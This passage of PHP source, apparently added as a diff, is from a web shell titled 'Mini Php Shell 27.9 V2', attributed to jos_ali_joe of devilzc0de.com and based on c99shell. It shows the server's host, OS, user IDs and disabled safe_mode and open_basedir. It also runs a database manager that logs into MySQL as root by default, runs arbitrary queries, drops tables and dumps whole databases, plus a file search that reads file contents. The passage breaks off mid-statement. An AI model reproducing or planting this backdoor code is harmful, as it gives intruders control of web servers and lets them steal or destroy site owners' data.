{$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by ".$shver." +# Home page: http://devilzc0de.com/ +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?<a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: 28 Jul 2011 18:00:52 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=red>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=red>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html> + <head> + <title>Mini Php Shell 27.9 V2</title> + <style type="text/css"> + a { + text-decoration: none; + color: #FFFFFF; + } + + a img { + border: 0; + } + + #view tr:hover { + background-color: #FFFFFF; + } + + input { + font-family: Courier New, Courier, Fixed; + font-size: 15px; + background-color: #FFFFFF; + color: #000000; + } + + input:hover { + background-color: #000000; + } + + textarea { + font-family: Courier New, Courier, Fixed; + font-size: 15px; + background-color: #FFFFFF; + color: #000000; + } + + body { + font-family: Courier New, Courier, Fixed; + font-size: 10px; + color: #FFFFFF; + } + + table#bordered { + border: 1px solid #FFFFFF; + background-color: #000; + font-family: Courier New, Courier, Fixed; + font-size: 15px; + color: #FFFFFF; + } + + TD{ FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;} + + form#post {} + + #post .buttons { + background-color: transparent; + font-family: Arial; + font-size: 15px; + color: #777; + border: 0; + } + + #cell { + border-bottom: 1px #FFFFFF dotted; + } + </style> + </head> + + <body bgcolor="#000000" background="http://oi52.tinypic.com/sphybr.jpg" link="#444444" vlink="#444444"> + <h1 style='color: #fff'><u><a href="<?php print $_SERVER['PHP_SELF']; ?>" style="color: #fff"> + Mini Php Shell 27.9 V2</a></u></h1> + <p style="color: #fff">Coded by jos_ali_joe<br><br># web: <u><a" style="display: inline; + color: #fff">http://devilzc0de.com/</a></u><br> # Contact : failed404@gmail.com </u></p> + + <table border=0 id="bordered"> +<?php + +print "<tr><td>~ host </td><td><b>".$_SERVER['SERVER_NAME']."</b></td></tr>"; +print "<tr><td>~ server </td><td><b>".$_SERVER['SERVER_SOFTWARE']."</b></td></tr>"; +if (is_callable("php_uname")) + print "<tr><td>~ os </td><td><b>".php_uname()."</b></td></tr>"; + +if (is_callable("posix_getuid") and is_callable("posix_getgid")) { + $uid=posix_getuid(); + $uname=posix_getpwuid($uid); + $uname=$uname['name']; + + $gid=posix_getgid(); + $gname=posix_getgrgid($gid); + $gname=$gname['name']; + + print "<tr><td>~ uid </td><td><b>$uid ($uname)</b></td></tr>"; + print "<tr><td>~ gid </td><td><b>$gid ($gname)</b></td></tr>"; +} + +print "</table><br><br>"; + + + +$mysql_on = @function_exists('mysql_connect'); +$mssql_on = @function_exists('mssql_connect'); +$pg_on = @function_exists('pg_connect'); +$ora_on = @function_exists('ocilogon'); + +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +/*foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +}*/ +/*echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=red>[ ok ]</font>"; + echo "<b><font color=red>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +}*/ +/*if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; + +} +echo "<br>"; +echo "<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";*/ +/*$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=red>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +}*/ +echo ' +<div align="center"> +<table width="100%" id="bordered"> +<tr><td>'; +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;"; + } +} +echo "</td></tr></table><br>"; + +if ((!empty($donated_html)) and (in_array($act,$donated_act))) { +echo "<table width=\"100%\" id=\"bordered\"> + <tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table> + <br>"; + } + +echo "<table width=\"100%\" id=\"bordered\"> + <tr><td width=\"100%\" valign=\"top\">"; + +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?> + <TABLE width="100%" id="bordered"> + <tr><td width="100%" height="1" colspan="2" valign="top"> + <center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"><br/></font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."w4/act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr> + <td width="30%" height="1"><b>Create a new table:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td> + + <td width="30%" height="1"><b>Dump DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = 